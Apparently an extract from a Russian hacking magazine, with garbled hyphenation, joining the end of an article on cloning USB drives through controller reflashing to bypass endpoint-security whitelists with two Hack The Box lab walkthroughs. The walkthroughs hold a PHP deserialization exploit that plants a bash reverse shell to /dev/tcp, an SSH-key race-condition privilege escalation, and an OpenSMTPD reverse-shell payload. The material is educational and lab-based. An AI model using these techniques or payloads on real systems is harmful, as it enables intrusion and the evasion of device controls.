Для нас это неп ринци пиаль но, пос коль ку, под гоняя дан ные фей ка под ори- 
гинал, мы задей ству ем те же самые дан ные и фор миру ем такой же иден- 
тифика тор.

 Для опре деле ния кон трол лера флеш ки-фей ка вос поль зуем ся
про гой ChipGenius (ее мож но ска чать с . Кста ти, рекомен дуем
сайт как наибо лее полез ный рус ско языч ный ресурс по про шив ке фле шек.
Мож но вос поль зовать ся ана логом — .
Интерфейс прог рамм прос той — вста вил флеш ку, получил резуль тат — см.
иллюс тра цию ниже.
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сай та USBDev

Flash Drive Information Extractor

Ре зуль тат выпол нения прог рамм опре деле ния кон трол лера

Срав ни с выводом ChipGenius для нашего будуще го фей ка:
DeviceID•
USB\VID_090C&PID_1000\CCYYMMDDHHMMSS000000•
Description: [H:]Запоми нающее устрой ство для USB(SMI USB DISK)•
Device Type: Mass Storage Device•
Protocal Version: USB 2.00•
Current Speed: High Speed•
Max Current: 500mA•
USB Device ID: VID = 090C PID = 1000•
Serial Number: CCYYMMDDHHMMSS000000•
Device Vendor: SMI Corporation•
Device Name: USB DISK•
Device Revision: 1100•
Manufacturer: SMI•
Product Model: USB DISK•
Product Revision: 1100•

• Controller Vendor: SMI

Controller Part-Number:  - ISP 131128-AA-• SM3257ENBA

Flash ID code: 98DE8493 - KIOXIA TC58TEG6DCJBA00 - 1CE/Single Channel
[MLC-16K] → Total Capacity = 8GB

•

Tools on web: http://dl.mydigit.net/special/up/smi.html•

Итак, мы видим, что у нас кон трол лер семей ства SMI (Silicon Motion)
с номером . Теперь най дем про шиваль щик для него!SM3257ENBA

 Хотя ChipGenius даже дает ссыл ку для про шиваль щика, на сай те
по этой ссыл ке все на китай ском, поэто му про ще ска чать его с UsbDev.
При этом обя затель но в вер сии, под держи вающей наш кон трол лер
SM3257ENBA. Для дан ного кон трол лера исполь зуют ся про шиваль щики 

 и . Нам боль ше по душе вто рая
(работа ет дол го, но качес твен но и поч ти со все ми под видами дан ных кон- 
трол леров). Находим нуж ную вер сию, кача ем Dyna Mass Storage Production
Tool, встав ляем флеш ку-фейк, запус каем про гу.
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SMI
MPTool Dyna Mass Storage Production Tool

 Не пугай ся, не все так слож но. Все про шиваль щики име ют прак- 
тичес ки иден тичный набор парамет ров, поэто му общие прин ципы и изме- 
няемые парамет ры у всех схо жи, незави симо от брен да и модели кон трол- 
лера. Убе дись, что флеш ка появи лась в прог рамме.
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Об наруже ние флеш ки в Dyna Mass Storage Production Tool

Продолжение статьи →

mailto:mainboros777@gmail.com
mailto:nayca@mail.ru
https://radiflow.com/wp-content/uploads/2019/06/Survey_ICS-2019_Radiflow.pdf
http://www.linux-usb.org/usb.ids
https://www.nirsoft.net/utils/usb_devices_view.html
https://www.nirsoft.net/utils/usb_log_view.html
https://usbdetective.com/
http://www.orionforensics.com/forensics-tools/usb-forensic-tracker/
https://docs.microsoft.com/ru-ru/sysinternals/downloads/volumeid
https://www.codeproject.com/Articles/5825/Changing-volume-s-serial-number
https://www.usbdev.ru/files/chipgenius/
https://www.antspec.com/usbflashinfo/
https://www.usbdev.ru/files/smi/smimptool/
https://www.usbdev.ru/files/smi/dynamptool/


АТАКА КЛОНОВ
ЛОМАЕМ ЗАЩИТУ ОТ ПОДКЛЮЧЕНИЯ USB-

ФЛЕШЕК

ВЗЛОМ  НАЧАЛО СТАТЬИ←

В пра вой час ти жми над пись Settings, ввод пароля про пус каем нажати ем
Enter (в некото рых ути литах он тоже есть, обыч но лег ко гуг лится на форумах),
в качес тве дефол тно го кон фига ука зыва ем файл в кор не катало га про шиваль- 
щика — .NDefault.INI

Кста ти, все эти опе рации могут вос ста новить твой любимый неис прав ный
USB-гад жет путем переп рошив ки с дефол тны ми зна чени ями, глав ное —
не накося чить с опре деле нием прог раммы и кон трол лера. Ну а мы про дол- 
жаем. В появив шемся окне перехо дим на вклад ку DeviceCong.

Ис ходные парамет ры флеш ки в Dyna Mass Storage Production Tool

Ме нять здесь нуж но сов сем нем ного. В поле SN Method выбира ем 
(ина че наш серий ник будет пус той, как в noname-флеш ках). В дан ном слу чае
мы зада ем стой кий, как швей цар ский банк, серий ник, который не будет
менять ся от сис темы к сис теме.

Static SN

В сек ции USB чуть ниже выс тавля ем парамет ры, как у флеш ки-ори гина ла:

VID → 13FE, PID → 4200, bdcDevice (номер ревизии) → PMAP 

Имя про изво дите ля и про дук та в нашем кей се не исполь зует ся, можем
не менять. Одна ко в некото рых мажор ных СЗИ они так же при меня ются
для фор мирова ния сиг натуры устрой ства. Если ты вооб ще не зна ешь, какие
парамет ры и куда вво дить, то рекомен дуем пов торить шаги с пер вого и вот
до это го мес та на флеш ке-ори гина ле, ско пиро вать все парамет ры в про- 
шиваль щик флеш ки-фей ка и про дол жить чте ние. Ори гинал про шивать
не нуж но.

В поля SN Begin No., SN End No. и SN Mask забива ем серий ник флеш- 
ки-ори гина ла: .070867948D560839

Да вай еще раз пос мотрим на целевую стро ку:

USBSTOR\DISK&VEN_[пустой]&PROD_USB_DISK_2.0&REV_PMAP\
070867948D560839&0 

Мы уже перенес ли номер ревизии ( ) и серий ник — циф ровую часть
в кон це.

PMAP

В сек ции Inquiry очи щаем поле , в поле Product про писы ваем 
. VID и PID мы поменя ли, что бы серий ный номер (Device ID) был так- 

же иден тичен ори гина лу. В пра вом вер хнем углу жмем Save и в глав ном окне
нажима ем Start. Начина ется переп рошив ка флеш ки.

Vendor USB 
DISK 2.0

Выс тавле ние парамет ров в Dyna Mass Storage Production Tool

В нашем слу чае глу бокая переп рошив ка занима ет 35 минут. А при исполь- 
зовании  мож но задей ство вать более быс трый спо соб переп- 
рошив ки, ког да с кон трол лера счи тыва ется CID-регистр (Card Identication;
откры вает ся через меню Debug → Read CID\Write CID), в нем по ана логии
с редак тирова нием в HEX вруч ную про писы вают ся нуж ные дан ные (но опять
же нуж но уста новить кон троль ные бай ты дли ны, не забывать вби вать зна- 
чения спра ва налево и так далее, что неудоб но).

SMI MPTool

Па рамет ры флеш ки в прог рамме SMI MPTool

 Пос ле успешной (мы наде емся) переп рошив ки оста ется про верить
нашу фей ковую флеш ку и узнать, нас коль ко она хороша. Пос мотрим детали
с помощью ChipGenius и выделим отли чия от ори гина ла:
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Description: [H:]Запоми нающее устрой ство для USB(USB DISK 2.0)•
Device Type: Mass Storage Device•
Protocal Version: USB 2.00•
Current Speed: High Speed•

 (у ори гина ла — 200 mA, мож но поменять через
свой ство USB Power — см. позап рошлый скрин, но при заниже нии силы
тока устрой ство может отка зать ся работать)

• Max Current: 500mA

USB Device ID: VID = 13FE PID = 4200•
Serial Number: 070867948D560839•

 (у ори гина ла отсутс тву ет, меня ется
через панель USB → Vendor String)

• Device Vendor: SMI Corporation

 (у ори гина ла USB DISK 2.0, меня ется через
панель USB → Product String)

• Device Name: USB DISK

 (у ори гина ла 0100, дан ный параметр не изме- 
няет ся)

• Device Revision: 4200

Product Model: USB DISK 2.0•
Product Revision: PMAP•
...(осталь ное по кон трол леру и так раз лича ется)...•

Те перь срав ним DeviceID флеш ки-ори гина ла, фей ка до кло ниро вания и фей- 
ка пос ле про шив ки.

Про вер ка изме нений на флеш ке-кло не

От крыв свой ства обо рудо вания, про веря ем путь к экзем пля ру-кло ну:

USBSTOR\DISK&VEN_&PROD_USB_DISK_2.0&REV_PMAP\070867948D560839&0 

Це левой путь:

USBSTOR\DISK&VEN_&PROD_USB_DISK_2.0&REV_PMAP\070867948D560839&0 

Те перь встав ляем фейк в тес товую машину с вклю чен ным белым спис ком
для флеш ки-ори гина ла.

От работ ка под клю чения флеш ки анти виру сом Comodo

Сра бота ло! Флеш ка откры вает ся и работа ет. Про буем под клю чить ори- 
гиналь ную флеш ку вмес те с фей ком — облом, про исхо дит кон фликт, поэто му
работа ет толь ко пер вая вот кну тая флеш ка. Так что под клю чай их по одной.

Для пол ного соот ветс твия копии ори гина лу рекомен дуем изме нить
осталь ные парамет ры, отформа тиро вать фейк, дать ему мет ку ори гина ла.
И не забудь изме нить VSN — как это сде лать, ты уже зна ешь.

Да вай про верим фейк на надеж ном анти виру се — нап ример, Kaspersky
Endpoint Security 10.

Ин терфейс кон тро ля устрой ств Kaspersky Endpoint Security 10

Смот рим, что исполь зует ся в качес тве иден тифика тора флеш ки-ори гина ла.

Иден тифика тор флеш ки в Kaspersky Endpoint Security 10

Это путь к экзем пля ру устрой ства, добав ляем его в белый спи сок, про веря ем
на какой-нибудь левой флеш ке.

Со обще ние о бло киров ке в Kaspersky Endpoint Security 10

И вот тут мы сло вили хох му — флеш ка отоб ража ется в про вод нике (осо бен- 
ность «Кош мар ско го»), про веря ется анти виру сом, но при попыт ке обра тить ся
к ней получа ем вот такое окно.

Со обще ние об отка зе дос тупа к флеш ке

Но флеш ка-фейк пред ска зуемо работа ет без каких-либо проб лем.
Схо жим обра зом мы про тес тирова ли ряд ком мерчес ких DLP-сис тем, СЗИ

под Linux и ниг де не встре тили ни отпо ра, ни попыток вос пре пятс тво вать ата- 
ке кло нов.

И тут статью мож но было бы закон чить, но...

×àñòü 3. Èçâðàùåíèÿ

Со вер шенно слу чай но ока залось, что в зависи мос ти от СЗИ мож но исполь- 
зовать и допол нитель ные методы обхо да USB-бло киро вок.

Äèñêåòêî

Пу тем фор матиро вания флеш ку мож но прев ратить в клас сичес кую дис кету
с воз можностью чте ния и записи, объ емом все го в 1,38 Мбайт. Хва тит, что бы
потихонь ку перета щить на работу игрушку? Раз ве что по час тям в нес коль ко
заходов. Вот как это сде лать. Берем новую флеш ку, дей ству ем по зна комо му
алго рит му. В этот раз нам попалась флеш ка Transcend 8 Gb USB 3.0 с кон- 
трол лером SMI SM3267AB (возь мем про шиваль щик для него — SMI MPTool
V2.5.51 v7 P0920v1). Итак, про шиваль щик, окно Settings, вклад ка Multi-Lun
Settings.

Фор матиро вание флеш ки как дис кеты

Ус танав лива ем гал ки на Floppy и фор матиро вании, про шива ем. Резуль тат
выг лядит при мер но так.

Про шив ка флеш ки в роль дис кеты

Floppy-дис ковод работа ет, зачет :).
Про верим на Кас пере. По-преж нему бло киру ется USB для любых фле шек,

кро ме доверен ных, но «дис ковод» успешно под клю чает ся, мож но
читать-писать информа цию. Дос тупа к фле шеч ному раз делу по-преж нему
не пред видит ся.

Ес ли срав нивать информа цию о Floppy в Кас пер ском с информа цией
по USB, то раз ница зак люча ется толь ко в типе устрой ства (Дис кеты vs Съем- 
ные дис ки).

При вклю чении бло киров ки дис кет дан ный метод, конеч но, не сра бота ет.

CD-ïðèâîä

Ана логич ный под ход, но теперь поп робу ем соз дать на флеш ке CD-раз дел
и пред варитель но записать на него образ из ISO-фай ла. Недос таток оче- 
виден — мож но толь ко счи тывать инфу с CD-раз дела, записать на флеш ку
фай лы ты уже не смо жешь. Но запус тить уста нов щик любимой игру ли —
без проб лем. Берем ту же самую флеш ку на кон трол лере SM3267AB и через
SMI про шива ем CD-раз дел. В раз деле Multi-lun Setting выс тавля ем галоч ку
Static CDROM Size и ука зыва ем раз мер под твой ISO, который мы будем туда
заливать.

Про шив ка флеш ки в роль CD-при вода

На вклад ке Main Flow Setting око ло гал ки с Make Auto Run зада ем путь к ISO-
обра зу, нап ример с Kali Linux — или чем-нибудь дру гим. Пос ле про шив ки
флеш ка отоб ража ется в про вод нике как отдель ный флеш-накопи тель и CD-
при вод. С CD-раз дела мож но читать, копиро вать фай лы — все как при клас- 
сичес ком мон тирова нии ISO-обра за.

Что же на это ска жут наши бло киров щики? В Кас пер ском и дру гих ком- 
мерчес ких решени ях ситу ация пол ностью ана логич на слу чаю с дис кетами:
CD-раз дел успешно под клю чен и готов к исполь зованию.

Ïîêóïêà ìóòàíòîâ

Есть, кста ти, готовые флеш ки, которые содер жат CD-раз дел с ути лита ми
для под клю чения «зак рытого» раз дела — как, нап ример, в Jet Flash Transcend
620. Выг лядит он при мер но как CD-раз дел с прог рамму линой + 2 USB-раз- 
дела — откры тый и пока зак рытый, до вво да пароля. Раз мер при ват ной
области нас тра ивает ся.

При мер флеш ки-мутан та

Ин терфейс прог раммы JetFlash SecureDrive

Так вот, при работе белого спис ка по USB-накопи телям в Кас пер ском (если
CD-при вод не заб локиро ван) такая фле ха впол не себе мон тиру ет CD-раз- 
дел — мож но и запус кать, и копиро вать про ги с него. При попыт ке смон- 
тировать защищен ный раз дел — отказ в дос тупе. Что бы спас тись от этой
напас ти, нуж но заб локиро вать CD-при вод, хотя в родите ле устрой ства ука зан
все тот же ста рый доб рый USB-иден тифика тор, что стран но. В Comodo воз- 
можность мон тирова ния такого недове рен ного носите ля исклю чена в прин- 
ципе. Почему? Воп рос к реали зации СЗИ и механиз мам орга низа ции белых
спис ков.

ÂÛÂÎÄ

В статье мы рас смот рели вари анты фор мирова ния мак сималь но прав- 
доподоб ного кло на флеш ки, который поз воля ет обхо дить все воз можные бло- 
киров ки. В зависи мос ти от сте пени заморо чен ности, мож но обой ти поч ти
любой белый спи сок. Как нам видит ся, для гаран тирован ной защиты от под- 
мены USB мож но было бы ука зывать в СЗИ кон крет ные модели фле шек
и заносить в белый спи сок хеш от CID области, от ком бинации VID + PID +
Serial или добав лять хеш вывода ChipGenius (ну либо его час ти). Неп лохо
было бы добав лять в иден тифика цион ную информа цию дан ные о модели кон- 
трол лера девай са.

В свя зи с тем что мы зна ем пароч ку опе раци онных сис тем, которые
в качес тве зна чений для белого спис ка исполь зуют наз вание про изво дите ля
или иные подоб ные парамет ры, было бы здо рово на уров не ОС кон тро лиро- 
вать под клю чаемые носите ли на пред мет их под мены или несо ответс твия
обыч ному (ожи даемо му) поведе нию (нап ример, мож но срав нивать VSN/UUID
и ловить отли чия при оди нако вом DeviceID).

Бе зопас никам мы рекомен дуем пол ностью бло киро вать под клю чение дис- 
кет и дис ков в ОС, что бы исклю чить опи сан ные вари анты обхо да защиты.
Будем рады получить обратную связь в ком мента риях. Может быть, у читате- 
лей най дут ся при коль ные решения для защиты от кло нов или ана лиза ано- 
малий при под клю чении устрой ств.

https://www.usbdev.ru/files/smi/smimptool/
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TENET

ИСПОЛЬЗУЕМ ДЕСЕРИАЛИЗАЦИЮ В PHP
И RACE CONDITION ДЛЯ ЗАХВАТА 

ВЕБ-СЕРВЕРА

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этой статье я покажу прос той инс тру мент
для поис ка бэкапов, поз наком лю тебя
с уяз вимостью при десери али зации объ- 
екта в PHP и про демонс три рую Race
Condition при выпол нении самопис ного
скрип та. Все эти манипу ляции мы будем
про делы вать с Tenet — сред ней по слож- 
ности машиной с .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

По тра диции нач нем с того, что добавим IP машины ( ) в 
, что бы боль ше не печатать его руками.

10.10.10.223 /etc/
hosts

10.10.10.223    tenet.htb 

И ска ниру ем пор ты:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

Скрипт находит два откры тых пор та: 22 (служ ба SSH) и 80 (веб-сер вер
Apache). SSH зак рыт, и без учет ки там делать нечего, поэто му будем «про- 
бивать» веб. Помимо точек вхо да, нас инте ресу ют любые под робнос ти,
поэто му вни матель но изу чаем сайт.

На одной из стра ниц находим инте рес ный ком мента рий — его оста вил
поль зователь . В ком мента рии упо мина ется файл , а так же
бэкап.

neil sator.php

Ком мента рий, оставлен ный на сай те поль зовате лем neil

Это очень важ ная для нас информа ция. Не исклю чено, что там мы и най дем
точ ку вхо да, если адми нис тра тор не выпол нил прось бу Нила и не спря тал
фай лы. Пер вым делом я решил поис кать бэкапы  при помощи ути- 
литы , которая переби рает под ходящие вари анты.

sator.php
bfac

bfac --url http://tenet.htb/sator.php 

По иск бэкапов фай ла sator.php с помощью bfac

Но к сожале нию, нам не уда лось най ти никаких бэкапов.

ÒÎ×ÊÀ ÂÕÎÄÀ

Не оставляя идею с , я решил про верить под домен .
Что бы обра тить ся к вир туаль ному хос ту, нуж но ука зать его адрес в заголов ке

 HTTP-зап роса. Про верить дос туп мож но с помощью curl.

sator sator.tenet.php

Host

curl  -H 'Host: sator.tenet.htb' http://tenet.htb 

Зап рос к вир туаль ному хос ту sator.tenet.php

Веб-сер вер вер нул нам дефол тную стра ницу Apache 2. Хва лим себя за удач- 
ную наход ку и добав ляем запись в файл ./etc/hosts

10.10.10.223    sator.tenet.htb 

Сле дующий шаг в таких слу чаях — прос каниро вать дирек тории на най ден ном
домене. Но, пом ня о ком мента рии, я сна чала поищу бэкапы фай ла 

. На этот раз нам повез ло — находим бэкап и можем ска чать его для ана- 
лиза.

sator.
php

bfac --url http://sator.tenet.htb/sator.php 

По иск бэкапов фай ла sator.php с помощью bfac

ÇÀÊÐÅÏËÅÍÈÅ

Да вай раз берем ся с кодом. Этот файл ждет, что будет ука зан параметр
, а передан ные дан ные под верга ются десери али зации (стро ки 23–24).

Так же име ется класс , содер жащий имя фай ла и дан ные
(стро ки 3–6), которые будут записа ны в этот файл при вызове дес трук тора
клас са (стро ки 15–20).

arepo
DatabaseExport

Со дер жимое фай ла sator.php.bak

По луча ется, что мы можем сери али зовать объ ект такого клас са и отпра вить
сери али зован ные дан ные на сер вер. А это откры вает воз можность записать
какие угод но дан ные в любой файл. Писать мы, конеч но, будем бэк шелл.
Но сна чала про верим, есть ли на сер вере файл, бэкап которо го мы разоб- 
рали.

Зап рос к sator.php

Ре зуль таты работы  и бэкапа иден тичные, а зна чит, все дол жно
получить ся. Но сна чала нам нуж но запус тить лис тенер, который будет при- 
нимать соеди нение с нашей сто роны. Я буду исполь зовать netcat и обо лоч ку

.

sator.php

rlwrap

apt install rlwrap 
 rlwrap nc -lvp [port] 

Те перь раз берем ся с экс плу ата цией. Копиру ем опре деле ние клас са
, а затем зада ем зна чение перемен ных:  —

это имя фай ла, а  — бэк шелл, который будет записан в файл (стро ки 
 Оста ется соз дать экзем пляр клас са, сери али зовать его и передать

в качес тве дан ных на извес тный нам адрес (стро ки 12–13). Завер шающим
дей стви ем будет обра щение к фай лу с бэк шеллом (стро ка 14).

DatabaseExport user_file
data

2–11).

<?php
 class DatabaseExport

{
          public $user_file = 'r.php';
      

 
       public $data = '<?php exec("/bin/bash -c 'bash -i > /dev/tcp/
10.10.14.107/4321 0>&1'"); ?>';

         public function __destruct()
       {

                     file_put_contents(__DIR__ . '/' . $this ->user_file,
$this->data);
       }
}

    
 

$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(
serialize(new DatabaseExport));

  $response = file_get_contents("$url");
  $response = file_get_contents("http://10.10.10.223/r.php");

?>

Вы пол няем этот код пря мо в кон соли и получа ем шелл в окне лис тенера.

php exploit.php 

Бэк коннект в окне лис тенера

ÏÐÎÄÂÈÆÅÍÈÅ

Так как на хос те раз вернут веб-сер вер, где кру тит ся целая CMS, то пер вое
наше дей ствие пос ле зах вата шел ла — поп робовать получить какие-нибудь
учет ные дан ные поль зовате лей. Высока веро ятность, что эти учет ки подой дут
и для локаль ных поль зовате лей. Для удобс тва получим инте рак тивный шелл
с помощью Python 3, а потом поищем дирек торию WordPress.

 python3 -c "import pty; pty.spawn('/bin/bash')"

Со дер жимое дирек тории веб-сер вера

В WordPress есть мес то, где учет ные дан ные есть всег да, — файл с нас трой- 
ками для под клю чения к базе дан ных .wp-config.php

Со дер жимое фай ла wp-cong.php

Эти учет ные дан ные поз воля ют под клю чить ся к базе дан ных и получить дру гие
кри тичес кие дан ные поль зовате лей, но в этом слу чае мы можем сра зу авто- 
ризо вать ся с ними на сер вере по SSH.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Зай дя под поль зовате лем, мы теперь хотим получить рут, но вряд ли соз- 
датели машины прос то оста вили нам нуж ный ключ лежащим где-то на вид ном
мес те. Для упро щения поис ков я обыч но гоняю скрип ты , но мож но
сра зу про верить наибо лее веро ятные мес та: нас трой ки sudoers, при ложе ния
с выс тавлен ным битом SUID, прос лушива емые на локал хосте пор ты.

LinPEAS

Нам везет уже при про вер ке sudoers! Обра ти вни мание на коман ду 
!sudo -l

Нас трой ки sudoers

Как видишь, здесь любой поль зователь (ALL) может выпол нить коман ду 
 в при виле гиро ван ном кон тек сте без вво да

пароля (NOPASSWD). Давай гля нем на этот скрипт.
/usr/local/bin/enableSSH.sh

Со дер жимое фай ла enableSSH.sh

Здесь ста тичес ки задан пуб личный ключ SSH (перемен ная ). При вызове
фун кции  в дирек тории  соз дает ся файл  (перемен ная

), куда и записы вает ся SSH-ключ . А уже пос ле про вер ки фай ла
(фун кция ) его содер жимое добав ляет ся в спи сок откры тых клю чей
рута (файл ), а вре мен ный файл уда ляет ся.
В кон це скрипт вызыва ет фун кцию , которая про веря ет наличие
клю ча в спис ке.

key
addKey /tmp ssh-*

tmpName key
checkFile

/root/.ssh/authorized_keys
checkAdded

Так как ключ добав ляет ся в спи сок не из исполня емо го скрип та нап рямую,
а через вре мен ный файл, есть веро ятность, что мы можем успеть скор ректи- 
ровать содер жимое фай ла в момент пос ле записи в него клю ча и перед
перено сом это го клю ча в спи сок. Под менив таким обра зом пуб личный ключ
сво им сге нери рован ным, мы смо жем получить дос туп к сер веру по SSH
от име ни рута. Нуж но лишь выпол нить скрипт, который будет неп рерыв но
записы вать во вре мен ный файл наш ключ, который мы соз дадим с помощью
коман ды .ssh-keygen

while true
do

  |        echo "ssh-rsa AAAA...." tee /tmp/ssh-*
done

Скрипт для под мены клю ча SSH

За пус каем скрипт, а в дру гом тер минале нес коль ко раз запус каем
 в кон тек сте sudo.enableSSH.sh

За пуск enableSSH.sh

Ви дим сооб щение о неудач ном добав лении клю ча, а это зна чит, что записан- 
ный ключ не соот ветс тву ет клю чу из ори гиналь ного скрип та. Выпол ним под- 
клю чение со сво им при ват ным клю чом.

ssh -i id_rsa root@tenet.htb 

Флаг рута

Мы получи ли флаг рута, машина прой дена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/mazen160/bfac
https://github.com/hanslub42/rlwrap
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
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ЗАХВАТЫВАЕМ МАШИНУ НА LINUX
ПРИ ПОМОЩИ KERBEROS
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ВЗЛОМ

Се год ня я покажу, как про ходить машину
Tentacle с пло щад ки . Для это- 
го нам понадо бит ся про бирать ся через
прок си в дру гую сеть, а так же исполь зовать
про токол шиф рования Windows для получе- 
ния дос тупа к машине на Linux и повыше ния
при виле гий на ней.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

Пер вым делом про писы ваем IP машины в файл ./etc/hosts

10.10.10.224    tentacle.htb 

Ска ниру ем пор ты скрип том в два про хода:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

На ходим четыре откры тых пор та:
порт 22 — служ ба SSH;•
порт 53 — служ ба DNS;•
порт 88 — служ ба Kerberos;•
порт 3128 — прок си-сер вер Squid 4.11.•

С SSH нам пока делать нечего, пос коль ку учет ных дан ных у нас нет. C DNS
и Kerberos тоже пока ничего не сде лать. Обра щаясь к пор ту 3128, видим
сооб щение об ошиб ке, но из него получа ем важ ные дан ные — домен и имя
поль зовате ля.

Ошиб ка, получен ная при обра щении к прок си-сер веру

Най ден ное домен ное имя добав ляем в ./etc/hosts

. . .     .10 10 10 224 realcorp htb

Ïåðåáîð DNS

Боль ше ничего сде лать не можем, поэто му поп робу ем попере бирать
домены. Для это го исполь зуем . В парамет рах ука жем количес тво
потоков ( ) и адрес сер вера DNS ( ), а сло варь берем
из сбор ки .

dnsenum
--threads --dnsserver

Seclists

 32 dnsenum --threads --dnsserver 10.10.10.224 -f /usr/share/seclists/
Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb 

Об наружен ные под домены

По луча ем нес коль ко новых домен ных имен и адре сов.

ÒÎ×ÊÀ ÂÕÎÄÀ

Так как на хос те работа ют служ ба прок си-сер вера и служ ба DNS, логич но
про верить, дос тупны ли най ден ные из перебо ра адре са через этот прок си.
Для это го сфор миру ем цепоч ку прок си с помощью . Наша цепоч ка
будет про пус кать тра фик через текущий хост в дру гую сеть. Proxychains
добавит заголов ки для мар шру тиза ции пакетов во внут реннюю сеть.

proxychains

В кон фигура цион ном фай ле  соз дадим три
записи. Это и есть наша цепоч ка.

/etc/proxychains.conf

  . . .  http 10 10 10 224 3128
  . . .  http 127 0 0 1 3128
  . . .  http 10 197 243 77 3128

Так как имя хос та — WPAD, есть немалое подоз рение, что на нем работа ет
одно имен ная служ ба. Поп робу ем дос тучать ся до него и прос каниро вать пор- 
ты.

proxychains -q nmap -A 10.197.243.31 

Ре зуль тат ска ниро вания пор тов

На этот раз получа ем уже боль ше откры тых пор тов, в том чис ле и 80-й, где
раз вернут веб-сер вер nginx 1.14.1. Так же мы получа ем имя хос та — 

. Добав ляем его в .
wpad.

realcorp.htb /etc/hosts

. . .    . .10 197 243 31 wpad realcorp htb

Те перь на мысль о служ бе натал кива ет не толь ко домен ное имя, но и имя хос- 
та. Про токол WPAD (Web Proxy Auto Discovery protocol) слу жит для того, что бы
най ти файл PAC (Proxy Auto Cong) — кон фигура ции прок си. Он пред став ляет
собой JavaScript с опи сани ем логики, по которой бра узер будет опре делять,
как под клю чать ся к нуж ному URL.

При совер шении зап роса бра узер вызыва ет фун кцию 
из PAC-фай ла, переда ет туда URL и хост, а в резуль тате ожи дает узнать,
через какие прок си ходить на этот адрес. Что бы получить эти нас трой ки,
WPAD пыта ется най ти PAC-скрипт с помощью опции от DHCP-сер вера (что
бра узе рами прак тичес ки не под держи вает ся), а затем отправ ляет HTTP-зап- 
рос на  и ска чива ет получен ный файл. Зна- 
чит, мы можем сами зап росить файл  с сер вера.

FindProxyForURL

http://wpad.[домен]/wpad.dat
wpad.dat

proxychains -q curl wpad.realcorp.htb/wpad.dat 

Код фун кции FindProxyForURL из фай ла wpad.dat

Прос матри ваем код и находим адре са сетей, о которых мы рань ше не зна ли.
Это откры вает нам новые воз можнос ти для прод вижения. Сто ит прос каниро- 
вать сеть, что бы най ти новые хос ты, а там и точ ки вхо да (скрипт я при водил
в начале статьи). В резуль тате ска ниро вания находим хост 113, в котором
открыт 25-й порт. Его ска ниру ем с исполь зовани ем скрип тов отдель но (опция

).-A

proxychains -q nmap 10.241.251.0/24 
 proxychains -q nmap -A -p25 10.241.251.113 

Ре зуль тат ска ниро вания хос тов в новой сети

Пе ред нами OpenSMTPD. А зна чит, сто ит поис кать готовые экс пло иты
для него.

ÇÀÊÐÅÏËÅÍÈÅ

Ес ли ты исполь зуешь , то для обра щения к базе экс пло итов дос- 
таточ но запус тить ути литу :

Kali Linux
searchsploit

searchsploit OpenSMTPD 

По иск экс пло итов для OpenSMTPD

Экс пло ит с поряд ковым номером  выг лядит под ходящим. Вер сия уяз- 
вимого про дук та здесь боль ше, чем у нас. Экс пло ит может дать уда лен ное
выпол нение кода через сеанс SMTP. Из опи сания уяз вимос ти CVE-2020-
7247 так же узна ем, что баг воз ника ет из-за неп равиль ного воз вра щаемо го
зна чения при неудач ной про вер ке вво да в фун кции  (под- 
робнос ти можешь узнать в ).

47984

smtp_mailaddr
ко де уяз вимой фун кции

Од нако в исходном виде этот экс пло ит не сра баты вает. Зачас тую в таких
слу чаях помога ет прос то най ти аль тер натив ную вер сию. Так, переб рав нес- 
коль ко вари антов, я нат кнул ся на .ра бочий PoC на GitHub

В коде нуж но ука зать свою наг рузку и поменять имя поль зовате ля, которо- 
му отправ ляет ся сооб щение. В качес тве наг рузки исполь зуем обыч ный
реверс-шелл на bash.

bash -i &> /dev/tcp/[IP]/[PORT] 0>&1 

Код экс пло ита: изме нение име ни поль зовате ля

Код экс пло ита: изме нен ная наг рузка

Так как мы будем выпол нять бэк коннект (шелл на ата куемой машине будет
под клю чать ся к нашей), преж де чем запус кать эту коман ду, соз дадим лис- 
тенер, который будет при нимать соеди нение. В качес тве лис тенера я исполь- 
зую netcat (коман да ), а в допол нение к нему — обо лоч ку .nc rlwrap

apt install rlwrap 
 rlwrap nc -lvp [port] 

Те перь выпол ним экс пло ит и получим бэк коннект.

Ре зуль тат выпол нения экс пло ита

По лучен ный бэк коннект

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü 1

От лично, мы про ник ли на машину! Так как мы работа ем в кон тек сте учет ной
записи служ бы, сле дующий шаг — получить какого-либо поль зовате ля. Чаще
все го для это го нуж но най ти учет ные дан ные.

Да леко ходить не приш лось — в домаш ней дирек тории сра зу находим
файл кон фигура ции msmtp (это SMTP-кли ент), который называ ется 
А в фай ле — учет ные дан ные.

..msmtprc

Со дер жимое домаш ней дирек тории поль зовате ля

Со дер жимое фай ла .msmtprc

Но най ден ные логин и пароль не поз воля ют авто ризо вать ся через SSH. Тог да
поп робу ем авто ризо вать ся через Kerberos.

Для работы нуж но уста новить пакет .krb5-user

WWW

Уз нать боль ше о работе с Kerberos в Linux ты
можешь из статьи «

» на «Рутоке не» и в 
.

Нас трой ка Kerberos-аутен- 
тифика ции справ ке
по Kerberos в докумен тации Ubuntu

apt sudo install krb5-user 

В файл  добав ляем такую запись./etc/hosts

. . .     . .10 10 10 224 srv01 realcorp htb

